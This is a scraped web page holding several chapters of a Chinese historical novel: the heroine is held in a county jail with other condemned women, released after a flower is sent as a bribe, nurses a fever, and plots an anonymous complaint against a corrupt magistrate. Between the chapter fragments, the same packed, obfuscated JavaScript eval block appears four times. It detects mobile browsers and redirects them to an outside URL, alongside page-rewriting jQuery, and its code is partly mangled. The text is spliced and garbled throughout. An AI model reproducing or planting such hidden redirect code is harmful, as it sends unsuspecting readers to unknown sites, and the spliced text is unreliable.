;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168004|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就定了死刑,肯定是你丈夫给狗官送了钱,要他帮忙处死你。”郭英说道。 钟二娘还是一副不敢置信的样子,“我十九岁就嫁给他了,伺候他和婆婆十多年,我从来都是顺着他,他怎么说,我怎么做,他不至于要这样害死我。” “我问了贾濂,他说你的罪名是毒死婆婆,还意图杀死丈夫,我看,只有你丈夫才会给你安上这样的罪名。”姜佑安说道。 “不,不会的。”钟二娘向后退了几步,跌坐在了被子上,捂着脸哭了起来。 刘婉冷哼一声,“没用的傻女人,你以为你每天为他洗衣做饭,辛苦劳作,他就会感激你?才不会!他只会嫌弃你,嫌你老,嫌你皮肤糙,嫌你生不出孩子,嫌你让他丢面子!他压根不觉得你在为他操劳,还觉得你住在他家里吃白食,多了个包袱!没有你,他不知道会活得多自在!” “刘婉!她突然知道这个事实,肯定很伤心,你又何必刺激她!”郭英生气地说道。 “刘婉,你也是因为丈夫入狱的吗?”姜佑安问道。 刘婉瞪着眼睛,直勾勾看着姜佑安,弯了弯嘴角,“不错,我杀了他。” 牢门突然打开,姜佑安被吓了一跳,慌忙向门口看去,只见戴庭芳走了进来,身后还跟着程祥。 “你们怎么来了?贾濂找你了?”姜佑安呆呆地问道。 “没有,我想着你在这里住着肯定不舒服,给你带了一床被子来。”戴庭芳说道。 姜佑安抬起自己的胳膊闻了闻,“你是不是嫌我身上有味道?” “哪有啊!公子就是想让你晚上睡得暖和些,你被乱猜。”程祥说道。 姜佑安笑了笑,走到了栅栏边,“那就谢谢了,昨晚我确实没睡好。” 程祥把被子透过栅栏塞了进去,又拿出两个纸包来,“这是脆皮烧鸽,公子说牢里肯定没什么好东西吃,特意让厨房给你做的。” “谢谢。”姜佑安把被子放在席子上,笑着说道:“我正饿着呢,谢谢你,也谢谢戴公子。” 戴庭芳从怀里拿出一个瓷瓶来,“这里面是创伤药,洒在伤口上,能好的快些。” 姜佑安接过烧鸽,笑着说道:“我伤口大多在背上,自己处理起来不太方便,要不公子帮我一下。” “你还有心思开玩笑!”戴庭芳黑着脸,有些生气。 “别生气,别生气。”姜佑安伸手把瓷瓶拿了过来,微笑着说道:“东西我收下了,牢房里湿气重,你身子弱,赶紧回去吧,你照常去教书,不用担心我。” 戴庭芳也不好再说什么,带着程祥离开了。 两人刚走没多会儿,袁竹来了,也带了床被子来,怕她在牢房里吃不好,还专门带了阮荷炸的油饼,姜佑安高兴地收下了。 袁竹前脚走,龙世蓉和许家莺也来了,两人各带了一床被子,还带了许多吃食。 热热闹闹的人都走了,姜佑安把被子分给一人一床,又把吃食分了分,她拿着一只脆皮烧鸽,给刘婉扯了一半,递给她。 刘婉接过烧鸽,叹息道:“你真是大方,这么好的被子,在这种地方用,真是可惜了。” “东西就是拿来用的,咱们盖着睡觉,身子暖和了,它才能算是好东西。”姜佑安咬了一口鸽腿,向刘婉问道:“你杀了你丈夫,是因为他欺负你吗?” 刘婉大口撕扯着鸽肉,“不,因为他长得丑。” 75. 出狱 “就因为长得丑,你就杀了一个人?”郭英震惊地问道。 刘婉埋头吃鸽子,没有理会她。 姜佑安也惊讶地看着她,“真的是因为长相,没有什么隐情?” “什么是隐情?”郭英咀嚼着鸽肉,漫不经心地问道。 “就是你杀你丈夫的理由,就算是长得丑也不至于要杀人吧,是不是他有什么对不起你的事?”姜佑安问道。 “他没啥对不起我的,就是长得太丑了,我见他就烦。”刘婉说道。 “你既然这么讨厌他,为什么还要嫁给他?”姜佑安问道。 “谁跟你说是我要嫁给他的了?是他到我家来,说要娶我,我爹娘收了钱,就把我嫁出去了,我说我不嫁,没人听,他长得一脸麻子,我一见他就觉得恶心,就去外面找了个相好,被他知道了,他骂我,我一生气,就拿菜刀把他给砍死了。”刘婉说道。 姜佑安震惊得一时不知道说什么好,本以为她即使不像钟二娘一样,是被冤枉入狱的,也是像自己一样,杀人也情有可原,没想到却是因为这种事。 “这些你都招了?你也被判了死刑?”钟二娘问道。 “招了,也判了,我不后悔杀了他,杀人偿命,死就死了吧。”刘婉抬头,冲姜佑安笑了笑。“死之前能用上新被子,还能吃顿好的,多谢你了,妹子。” “你父母来看过你吗?”郭英问道。 郭英啃完了鸽子,又拿起包子吃起来,“有我这样的女儿,是我爹娘的耻辱,他们肯定觉得丢死人了,怎么会来看我。” “可明明是他们把你嫁给一个麻子的。”郭英说道。 郭英冷哼一声,“我爹娘说,麻子也是人,麻子也该娶媳妇。” 姜佑安一听就来气,“麻子是人,你也人啊,你爹娘怎么能这样对你,不心疼你,倒心疼起一个外人来了。” 刘婉耸了耸肩,“无所谓,虽然我不能自己决定嫁给谁,但至少我还能杀了他,不让我好过,那大家就都别过了。” 郭英坐在被子上,用别人听不见的声音喃喃道:“要是能不嫁人就好了。” 牢房里一时安静下来,狱卒来送了晚饭来,姜佑安也有份,她正吃着包子,把半碗汤喝了,虽然不太饿了,但她还是把半碗豆饭也吃了。 狱卒收走碗筷之后,姜佑安让钟二娘帮忙给她上了药。 在牢房里待得久了,姜佑安已经闻不到臭味了,晚上裹着松软的被子,无比得暖和,只是身上的伤痛变得明显了,躺到半夜都没睡着。 除了吃饭上厕所,姜佑安一直在被子里躺着补觉,到了晚上反而又睡不着了,睁着眼睛熬到了天亮,姜佑安才终于有了困意。 这种日子可真是难熬,郭英、钟二娘和刘婉都像是认命了似的,每天只在牢房里呆坐着,一言不发,不知道在想些什么。 袁竹来了,拿来了阮荷炸的糖糕,姜佑安没什么胃口,分给其他人吃了。 一个差役进来,打开了牢房,说知县大人要见她们,姜佑安勉强起来,却觉得腿发软,袁竹过去扶着她,两人来到贾濂的书房。 贾濂脸上一派喜气,说知府收了那盆花,还想见见培育那盆花的人,袁竹自己只是偶然种出来,见了知府也说不出什么来,不过,以后若是再有珍稀品种,愿意再送到知县大人这里来。 贾濂见袁竹态度恭顺,便也没再强求,按照约定,着人送了姜佑安和袁竹出去,说赵雄的案子到此为止,以后不会再追究。 衙门口,阮荷等一众人等都在焦急地等待着,不知道那盆菊花能不能让姜佑安得到释放,见两人出来,都惊喜万分地围了上去。 “知县没有为难你们吧?”戴庭芳问道。 “没有。”袁竹摇了摇头,她搀着姜佑安,脸上却是愁容不展,“知县让回去了,说赵雄的案子不会再追究,不过,她好像病了。” 龙世蓉伸手试了试姜佑安的额头,“好烫,可能是受凉发烧了。” 看着姜佑安憔悴的样子,阮荷忍不住红了眼眶,“佑安姐姐身上还有伤,得赶紧去看大夫。” “我带了马车来,坐我的马车回去吧。”戴庭芳说道。 “回去不好诊治抓药,先送去医馆吧,看了病抓好药再回去。”龙世蓉说道。 “我家附近村里就有郎中,回家我再去请郎中来看,也是一样。”袁竹说道。 姜佑安感觉头昏昏沉沉的,呼吸灼热,身子发软,她轻声说道:“先回家吧,我想躺会儿。” 众人听了,忙扶着她上了马车,姜佑安不经意的一瞥,看到郭英也从衙门口出来,她对袁竹说道:“袁竹,你去叫郭英过来,我们一块回去。” 不多会儿,郭英也上了马车,阮荷和袁竹在她俩身边照顾,李长风、杨恩、戴庭芳和程祥跟在马车后面,龙世蓉和许家莺先回家去了。 一路上马车缓缓慢行,刚走到一半,龙家的马车就追了上来,让袁竹上了她们的马车,和她们一起先去把郎中请到家里去。 姜佑安到了家,众人七手八脚把她扶进门,又扶上了床。 郎中诊了脉,开了药,说没什么大碍,烧退了就好了,众人这才放了心,袁竹付了钱,李长风随郎中去抓药,阮荷去洗药罐,程祥去打了水来,给她洗脸擦手。 姜佑安睁开眼,见龙世蓉和许家莺站在床边,不远处还有戴庭芳和程祥,“郭英呢?”她问道。 “她说这里离她家不远了,她走着就回去了。”龙世蓉说道。 “嗯,回去了就好。”姜佑安闭上眼睛,睡了过去。 不知昏睡了多久,有人叫醒她,把她扶起,喂她喝药,药很苦,她皱着眉头喝下,碗拿开后,她嘴里被塞了一个蜜饯,甜甜的,她闭着眼睛慢慢咀嚼着,甜味慢慢覆盖了苦味,她咽下蜜饯后,又睡着了。 看着姜佑安昏睡不醒,袁竹把大家都赶了出去,说让她好好休息。 龙世蓉和许家莺见没什么事了,也就坐着马车离开了,说明天再过来看她。 戴庭芳和程祥多待了一会儿,也坐着马车走了。 杨恩一直待到傍晚,见姜佑安睡得安稳了许多,才回了陈大用家里。 晚上,姜佑安高烧不退,袁竹、阮荷和李长风都不肯去睡,围在床边守着她。 龙世蓉和许家莺一早就来了,进了院子就看见姜佑安的床被移到了堂屋里,两人吓了一跳,“姜佑安不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175009|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行了吗?” 袁竹脸上略有些窘迫,“没有,昨天不是下雨了吗,那屋的屋顶不知道怎么了,突然就漏雨了,一晚上,我们把床到处挪,到处漏水,没办法,我们就把床抬出来了。” “在这躺着养病,不太好吧?”许家莺有些担忧地说道。 “没事,我给她多盖了一床被子,门也关着,不冷。”袁竹说道。 “这屋里又冷又潮的,确实不适合养病,屋顶还没修,要是再下雨怎么办?”龙世蓉想了想,“要不就先挪到弓箭社里吧,反正那里也没有人住。” “这,不大好吧。”袁竹有些犹豫。 “没什么不好的,等你这房子修好了,你们再搬回来就是了,那里厨房厕所都有,房顶也不漏水,就是房间里面没有打扫,你们去打扫打扫就能住。”龙世蓉说道。 为姜佑安的身体着想,袁竹答应了,她和李长风、龙世蓉还有许家莺一起去了弓箭社,看到主屋里桌椅床榻都有,决定把主屋打扫出来暂住。 李长风去叫了杨恩来,恰巧戴庭芳和程祥也来了,大家一起扫地擦桌子,从家里拿了被褥铺好,又把一些常用的东西搬了些过去。 都准备好了之后,袁竹把板车推了出来,在板车上铺上毡布,又铺上被褥,然后把姜佑安背出来,安置在板车上,往山下推。 泥泞的土路特别难走,众人都在旁边帮忙推,好在推过门口那一小段路,就到了石头铺的大路,大家轻松地推着车,把姜佑安送进了山下的宅院里。 院子门口有门槛,车推不进去,袁竹又背着姜佑安跨过大门,跨过二门,来到了主屋里,把姜佑安放进了西屋的床上,给她盖上被子。 姜佑安躺在床上,很快又睡了过去。 众人见姜佑安睡了,纷纷退到了堂屋里。 “大家都辛苦了,中午就别走了,我和小阮多炒几个菜,大家一起吃个饭吧。”袁竹说道。 “姜佑安需要静养,人多杂乱,打扰她休息,等她醒了,我们再留下来吃饭不迟。”龙世蓉说道。 “龙小姐,我看倒座房里也有床铺,我把那里收拾出来,晚上也在这里守着,你看可以吗?”杨恩问道。 “那我也要住在这里,我也要待在姜姐姐身边。”李长风说道。 “随你们,钥匙都在袁姑娘手里,她同意就行。”龙世蓉说道。 “过一阵子还要搬走的,你们不嫌麻烦就去打扫去吧。”袁竹看向龙世蓉,“他们原先也都是在我家住的,后来人多住不开,杨恩才搬了出去。” “原来是这样,你们看着安排吧,多住些日子也无所谓,我和家莺就先回去了。”龙世蓉说道。 “辛苦你们照顾病人了,我们明天再过来看她。”许家莺说道。 “我们都是一家人,照顾她也是应该的,说到底,会出这样的事,她也是为了我们。”袁竹说道。 送走了龙世蓉和许家莺,戴庭芳和程祥也告了辞,杨恩和李长风在收拾倒座房,袁竹和阮荷回房间,发现姜佑安脑门上出了很多汗。 阮荷高兴地笑了,“郎中说姐姐出汗了,就是要好了。” 袁竹也长舒了一口气。“真是太好了。” 76. 病愈 姜佑安出了很多汗,体温也降了下去,袁竹和阮荷把她汗湿的衣服脱下来,换了身干爽的衣服,顺便也给她的伤口上了药。 上药的时候,两个人看着她的伤痕,都忍不住心疼地流眼泪。 换了衣服,姜佑安感觉舒服了许多,头脑也清醒了许多,“谢谢你们了。” “跟我们还客气什么,饿不饿,要不要吃点什么?”袁竹擦去眼泪,俯身温柔地问道。 “我想喝点儿粥,还想吃小阮做的包子。”姜佑安轻声说道。 “病刚好就要吃包子,怕会不消化,先喝粥吧,明天再吃包子。”袁竹耐心地劝道。 姜佑安轻轻笑了,“好,都听姐姐的。” 袁竹摸了摸她的额头,“睡吧,等粥好了,我再叫你。” “嗯。”姜佑安点了点头,闭上了眼睛。 见姜佑安睡下了,阮荷和袁竹便去了厨房收拾东西,给她煮粥,厨房旁边有一口井,用水比袁家要方便许多。 姜佑安吃了粥,跟他们说了会儿话,又躺下了,李长风和杨恩见她清醒了,也都放心了许多。 天黑了,姜佑安在温暖的被子里沉沉的睡去,再一睁眼,天已经大亮了,她坐起身来,伸了个懒腰,感觉神清气爽。 她闻了闻身上,终于没有那股难闻的气味儿了。 阮荷端了粥来,要喂给她,姜佑安感觉身子已经好得差不多了,便接过碗来自己吃。 “外面是不是出太阳了?”姜佑安问道。 “出太阳了,外面挺暖和的,你要出去走走吗?”阮荷微笑着问道。 袁竹走了进来,“姜佑安,黎公子来看你了,让他进来吗?” 姜佑安有点意外,“黎泱泱?让他进来吧。” 黎泱泱走进来,脸上没有什么表情,“你病了?” “嗯,刚好。”姜佑安就着小菜,吃着粥,漫不经心地说道。 “我代我爹给你赔个不是。”黎泱泱低着头说道。 “你爹有什么不是?”姜佑安问道。 “他不该在输给你之后,总想寻个由头报复你。”黎泱泱说道。 “是他报复我,就该他来跟我道歉,这里面没你什么事,你代他道歉也没有意义。”姜佑安说道。 黎泱泱抬起头,“是我爹让我来接近你的,你怎么会以为这里面没有我什么事?” 姜佑安抬头看向黎泱泱,眼睛里隐隐有笑意,“如果你把你知道的一切都如实告诉了你爹,知县就不会不知道,在赵雄死亡的当天,也就是我打到兔子的那天,我确实丢了一支箭。” “我向初五打听的事,你都知道了?”黎泱泱问道。 姜佑安用勺子搅着碗里的粥,“孩子都是没有防备心的,小阮不知道我杀了人,初五连赵雄是谁都不知道,所以她们会毫不怀疑地说出实话,你能知道,我也能知道。” “我确实没跟我爹说,但也确实是因为我的原因,才让我爹知道了赵雄的事。”黎泱泱说道。 “那他是怎么知道的?”姜佑安继续喝着粥,随口问道。 “捕快曾景阳是我的朋友,一次他来我家找我,我不在,我爹就跟他攀谈起来,问起了你的事。”黎泱泱说道。 “原来是这样,依曾捕快的性子,他确实不会为我隐瞒。”姜佑安说道。 “曾景阳没有做错,错的是你,是你杀了人。”黎泱泱板着脸说道。 “我知道,所以我并没有怪他,也没有怪你,但你……”姜佑安把粥碗放在一旁的桌上,舔了舔嘴唇,“你怎么好像心怀愧疚似的?” 黎泱泱垂下眼帘,“你杀人是事出有因,赵雄那样的人,本就该死,不值得让你偿命,你本不必为此吃苦头。” 姜佑安笑了,“你这句话倒是很中听,我高兴了,你的负罪感就会减轻吗?” 黎泱泱看着姜佑安的眼睛,“我并不是为了讨好你,才这样说的。” 姜佑安看向一旁的阮荷,“小阮,你帮我搬个椅子放到院子里吧,我想去晒晒太阳。” “好。”阮荷应声走了出去。 袁竹走过来,“我扶你过去吧。” “不用。”姜佑安摆摆手,抬头看向黎泱泱,“请黎公子抱我出去吧。” “什么?”黎泱泱皱起了眉头。 “黎公子看起来身形健壮,不会抱不动我吧?”姜佑安的眼睛亮晶晶的,透着狡黠和捉弄的意味,“为我做事,黎公子的负罪感就能减轻吧。” 袁竹有些嫌弃地说道:“你不是说,你不喜欢挟恩图报吗?” “我这可不是挟恩图报,是他们黎家欠我的,父债子偿,黎公子来找我道歉,不就是这个意思吗?”姜佑安笑着说道。 “能开这种玩笑,我看你的病是全好了,自己走着去吧,要人抱像什么话!何况他还是个男人。”袁竹说道。 “你懂什么!”姜佑安撇了撇嘴,“就因为他是个男人,我才让他抱的,再说了,只是抱我到院子里,又不会有外人看见,怕什么?” “好好好,随便你!别教坏了孩子就行。”袁竹懒得管她,走了出去。 黎泱泱咬着嘴唇,犹豫不决,“我怕会冒犯姑娘。” “是我要你抱我的,我允许的,就不算冒犯。”姜佑安说着,掀开了被子,坐在床边。 黎泱泱非常为难,姜佑安向他伸出双手,“快点!” 黎泱泱仿佛终于下定了决心,走到姜佑安的身边,俯身把她抱了起来。 姜佑安两手搂着黎泱泱的脖子,开心地笑了,“这就对了,把我伺候高兴了,咱们得恩怨就一笔勾销。” 黎泱泱抱着姜佑安快步向外面走去,“你慢点着,别把我摔了,我这病才刚好。” “嗯。”黎泱泱应了一声,脚步放慢,稳稳地迈出了主屋大门,一抬头,和戴庭芳、程祥打了个照面。 “你们来了。”姜佑安笑着跟两人打招呼。 两人看到姜佑安精神这么好,都很高兴,但看到她在黎泱泱怀里,又有些不适。 程祥跑了过来,关心地问道:“你的病还没好吗?是不是腿上没力气?要不要我扶着你?” 姜佑安呵呵一笑,“我没事,都好全了,只是借机让黎公子抱我出来而已,太阳这么好,我想出来晒晒太阳。” 阮荷已经把一把太师椅搬到了院子里,黎泱泱轻轻把姜佑安放到了椅子上,“姜姑娘高兴了吗?” 姜佑安靠着扶手,仰头眯着眼晒太阳,“还好,不算尽兴,今天人多不方便,你明天再来吧。” “嗯。”黎泱泱应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182761|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一声,冲戴庭芳点点头,穿过院子,出了二门。 程祥走到姜佑安面前,有些担心地问道:“你的病刚好,就出来吹风,要是又着凉了怎么办?” “牢房里阴冷,这两天出来了吧,我病着,又下了雨,总感觉潮乎乎的,现在好不容易能晒晒太阳。”姜佑安伸手扒拉程祥,“你走开点,不要挡着我。” 程祥走开了,戴庭芳又走了过来,“黎泱泱过来干什么?” “他想代替他爹向我赔罪。”姜佑安说道。 “你差点儿被判了死刑,丢了性命,他如何能赔罪!”程祥生气地说道。 姜佑安笑了笑,“如何赔罪,我说了算,戴公子是来教书的吧,小阮,你看看在哪合适。” 阮荷站在正屋门口,向戴庭芳说道:“表哥,先进来吧” 戴庭芳没再说什么,进了屋,阮荷和李长风搬了东屋里的桌子放在堂屋里,铺设好了笔墨纸砚,戴庭芳翻开书,不经意地转过头,看见程祥正站在姜佑安身边,笑着跟她说话。 “表哥,你怎么了?”阮荷问道。 “没什么,咱们接着之前的继续讲。”戴庭芳回过神来,低头翻着书页。 “你还真是厉害,一盆菊花就救了你和郭姑娘两个人的命。”程祥夸赞道。 “只是凑巧罢了,知府若不是王世镜,恐怕就我们只能卖房卖地,背上一身的债了。”姜佑安说道。 “袁姑娘也是侠义有担当,听说需要筹钱,就马上决定卖房卖地,她一个人打拼,能挣下这些产业也不容易,要是都卖了,真不知以后怎么办是好。”程祥感叹道。 “是啊。”姜佑安笑了笑,“能遇到袁竹,也是我的幸运,要不是她愿意收留我,说不定我早就饿死了。” 程祥也笑了,以一种轻松的语气说道:“倒不一定会饿死,实在活不下去,还可以卖身为仆,就像我一样,起码有口饭吃。” “像你一样?”姜佑安一愣,“原来我那时距离成为仆人,只有一步之遥吗?” “不好说,你还记得那次在河边,你跟郭姑娘吵架时,她说的话吗?”程祥说道。 “她说的哪句?”姜佑安问道。 “像你我这样的平民百姓,无权无势,是很容易沦为仆人和乐伎的,只要知县大人想,我们人人都是仆人,没有公正可言。”程祥说道。 姜佑安叹了口气,“我算是知道她为什么会那么生气了,以前我只知道享受权势,如今才体会到被权势欺压的感觉,真是叫天不应、叫地不灵,只能任人欺辱。” 程祥微微一笑,“你在京城时,身份应该不低吧,连王知府的爱好都这么清楚。” “都是过去的事了,我也是偶然得知的。”姜佑安敷衍着说道。 “你身上的伤都好了吗?”程祥问道。 姜佑安摸了摸后脖颈,“快好了,都结痂了。” “应该不会留疤吧。”程祥说道。 “留几个疤算什么?反正都在后背,我也看不见,眼不见心不烦。”姜佑安满不在乎地说道。 程祥觉得也是,姜佑安哪里是会在乎身上有没有疤的人。 “不过,我也得让贾濂那个狗官剥一层皮才是。”姜佑安抬头看向程祥,“你能帮我给王知府写一份信吗?” 77. 送信 “你不是会写字吗?为什么要我写?”程祥问道。 “这件事需要做得隐蔽,不能轻易被查出来,你跟这件事没有关联,查也查不到你那里去。”姜佑安说道。 “我跟着公子来来回回的,赵雄死的前一天,我也在,不算是没有关联吧。”程祥说道。 姜佑安摆了摆手,“我不是说赵雄的事,是钟二娘的事。” “钟二娘是谁?”程祥疑惑地问道。 “她是和我关在同一个牢房的人。”姜佑安细细向程祥讲述了钟二娘的事,让程祥代笔写一份书信,向王知府诉说钟二娘的冤屈。 程祥听完,去屋里借了纸笔,写了一份匿名书信,拿给姜佑安看,姜佑安非常满意,把信收了起来。 晒够了太阳,程祥去把她的鞋子拿了出来,姜佑安穿上鞋,在院子里走动,“这院子真不错,住得也宽敞,我都好久没有一个人住一个屋了。” 龙世蓉从二门走了进来,笑着说道:“喜欢你就买下来吧,我跟我爹商量一下,可以便宜点儿卖给你。” 许家莺跑过来拉着姜佑安的手,一副欲哭的神色,“你可算好了,我们都担心死了。” 姜佑安拍了拍她的手,轻声安慰道:“一点小病而已,不是什么大事。” “坐牢还不算大事?”龙世蓉对她这样云淡风轻的态度不是很满意。 姜佑安笑了笑,“现在不是放出来了吗?” “姜佑安,你出这事,不会是因为我在县里宣扬你打败了黎千秋吧?”龙世蓉问道。 “不是,他早就在找我的错处了,跟你没关系。”姜佑安轻松地说道。 “那就好,要不我还真是良心不安,那个知县也是,贪赃枉法,一开口就要五百两,心太黑了!”龙世蓉说道。 许家莺把带来的点心给了姜佑安,姜佑安道了谢,向龙世蓉说道:“关于贾知县,我有件事想请你帮个忙。” 龙世蓉眉头一皱,“帮什么忙?他又找你要钱了?” “不是钱的事,我有一盆花和一封信,想让你帮忙送到王知府那里去。”姜佑安说道。 “只送东西就行?不用捎话?”龙世蓉问道。 姜佑安摇摇头,“不用,把东西交到门人手上就可以,其他什么都不用说,我不想让知府追查过来。” 袁竹从厨房里走出来,在围裙上擦着手上的水,“龙姑娘和许姑娘来了?今天留下来一起吃饭吧。” “好啊,早就听姜教头说小阮做饭的手艺特别好,今天我们可要一饱口福了。”许家莺笑着说道。 “那我们就不客气了。”龙世蓉也笑着应道。 “不用客气,我在牢房里吃不饱穿不暖,全靠你们送来的被子和吃食,才撑了过来,我还没好好谢谢你们呢。”姜佑安一想,好像是忘了什么东西,“对了,被子是不是忘了拿出来了?” “对,确实是忘了。”袁竹有些可惜地说道。 “我看牢里的被子都不能用,没拿出来也就算了,留给她们用吧。”龙世蓉说道。 “嗯。”姜佑安点点头,被子能留给钟二娘和刘婉用,也不错,“被子的钱,你从我的工钱里扣吧。” 龙世蓉微微一笑,“没事,这点小钱,不算什么。” “对啊,你能平安出来才是最重要的。”许家莺说道。 “袁姐姐,面发好了吗?”阮荷在堂屋里扬声问道。 “好了,我刚把菜洗了。”袁竹走到了主屋门口,“戴公子也留下来吧,这次也辛苦你来回跑,我们没什么可招待的,姜佑安点了菜,说要吃包子,你也跟着吃点儿?” 戴庭芳点了点头,“袁姑娘不必客气,你们吃什么,我们就跟着吃些就行。” 杨恩从县里买了肉回来,和阮荷、袁竹一起进了厨房忙活,李长风也去了厨房帮忙,姜佑安、龙世蓉、许家莺和程祥在商量着要怎么给王知府送东西,只有戴庭芳一人被晾在了堂屋里。 戴庭芳翻着手上的书,却一个字都看不进去,他放下书,走进了院子里。 听着姜佑安她们的谈话,戴庭芳感觉插不进去,又回到了屋里,程祥见了,也进了屋去陪他。 姜佑安已经痊愈,胃口大开,阮荷等人做的包子端上桌,她一口气吃了三个。 粥和小菜也都上了桌,袁竹去把龙世蓉的丫鬟和门口龙家的车夫都叫了进来,大家坐得挤挤挨挨,吃了包子和小菜,也都纷纷夸赞阮荷的手艺好,许家莺还说要跟她学习一下包子的做法,阮荷笑着答应改天教她。 龙世蓉又说起许家莺的哥哥要娶阮荷的事,许家莺说哥哥得知阮荷不想嫁人,就没再存这个心思了,让阮荷不必介意。话都说开了,阮荷也觉得轻松了许多。 吃过了午饭,杨恩和李长风抢着去刷碗,龙世蓉和许家莺就要告辞了。 车夫把菊花搬上了马车,丫鬟在车旁等着,姜佑安、袁竹和阮荷把龙世蓉和许家莺送出了大门。 “你病刚好,不必着急搬回去,最近我不会召集人来弓箭社,你们就安心住着吧。”龙世蓉说道。 “那就承龙社长的情,我再多住些日子,这么好的宅子,我还真不想马上搬走。”姜佑安笑着说道。 龙世蓉挑了挑眉毛,“那你就买下来吧,我可以给你个朋友价。” “我哪里能买得起宅子,你还没接手自家的生意,就想着从我身上挣钱了?”姜佑安抱怨道。 “我知道你没钱,我也没什么钱,光是组织弓箭社的活动就花费了不少,也许,我是该去古董店转转了。”龙世蓉说道。 “你又打上店里古董的主意了?”许家莺问道。 “哪有!我是想去熟悉熟悉自家的生意。”龙世蓉辩解道。 许家莺笑了笑,“原来是这样,如今你也大了,确实是时候了,龙老爷要是知道了,肯定会高兴的。” “那以后我就要称呼你一声龙老板了。”袁竹笑着说道。 “袁老板客气了,等我在古董店里主了事,就专门买你的花装点。”龙世蓉也笑着应道。 袁竹笑着点点头,“龙老板肯照顾我的生意,那真是太好了。” “好了,你们吹捧起来,真是没完没了,龙老板,别忘了帮我送花和信。”姜佑安说道。 “佑安姐姐叫老板不也是吹捧吗?”阮荷问道。 姜佑安笑了,“这不一样,龙老板是给我发工钱的,我叫她老板是应该的。” 众人又说笑了一阵,才挥手告别,姜佑安回到院子里,见戴庭芳和程祥正站在主屋廊下。 “小阮,你表哥在等你了,快去吧。”姜佑安回头对阮荷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192536|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道。 “嗯。”阮荷应了一声,向主屋走去。 戴庭芳并没有进屋,反而向姜佑安走了过来,“你要和知县做对?” “怎么,不行吗?”姜佑安反问道。 “我们不过是平民百姓,如何能跟朝廷命官做对?你还是不要招惹麻烦了。”戴庭芳担忧地说道。 “程祥跟你说钟二娘的事了?”姜佑安问道。 “没有,我刚刚听程祥说,你要告到知府那里,让他审查知县。”戴庭芳说道。 “钟二娘是县衙的大牢里的一个女人,因为被丈夫陷害,加之不识字被欺骗,已经认下了毒杀婆婆的罪名,被判处了死刑,我现在做的事,一个要泄愤,而是要给钟二娘平反,你觉得做不得?”姜佑安说道。 “竟有这样的事?”戴庭芳不太相信。 “京城官场的黑暗,你不是深有体会吗?上行下效,连一个小小的县官都会贪赃枉法,胡乱判案,以获取私利,我不能眼看着钟二娘被冤死。”姜佑安说道。 戴庭芳担忧不减,“如果知府不想管,还官官相护怎么办?” “他不管,我就损失一盆花,堂堂知府,应该也不会因为这点小事,专门调查到咱们这里来,他要是不管,那我再想其他办法。”姜佑安说道。 “姜姑娘,平民和强权对抗,终究是以卵击石,你这样冒尖出头,会……”戴庭芳还没说完,就被姜佑安打断,“戴公子,我知道。” 姜佑安注视着戴庭芳的眼睛,坚定地说道:“我知道强权难以打破,但一味的忍让,吞下所有的委屈,就能过得好吗?我不觉得。如果我没有杀了赵雄,那他现在依旧在到处欺负人,说不定我们现在还要把赚来的钱给他,如果我不想办法整治贾濂,那以后还会有更多的钟二娘,我看到不公正的事,就是想给它扳正过来,不管能不能做到,我总要去尝试一下。” “万一……”戴庭芳犹豫着说道:“你好不容易才出狱,万一又连累到你自身呢?” 姜佑安释然地笑了笑,“连累就连累,这是我要做的事,我自己承担后果。” 面对姜佑安的坦荡,戴庭芳觉得很是羞愧,“是我狭隘了,只想要明哲保身。” 姜佑安凑过去,拍了拍戴庭芳的胳膊,微笑着说道:“戴公子,我知道你是个刚正的人,心中坚持的理想和正义,和现实的官场遭遇不能相容,让你觉得很迷茫,不知道如何行事才是正确的,说实在的,我也不知道,该坚持还是该妥协,让我们一起试试看吧,也许我们可以找到现实的解决途径。” 如同在迷雾里看到了一盏灯,戴庭芳的眼睛一亮,“你说得对,我找不到答案,也许你可以。” 姜佑安的脸上依旧带着微笑,“别想这些了,去教书吧,小阮在等着你呢。” 戴庭芳点了点头,回了堂屋。 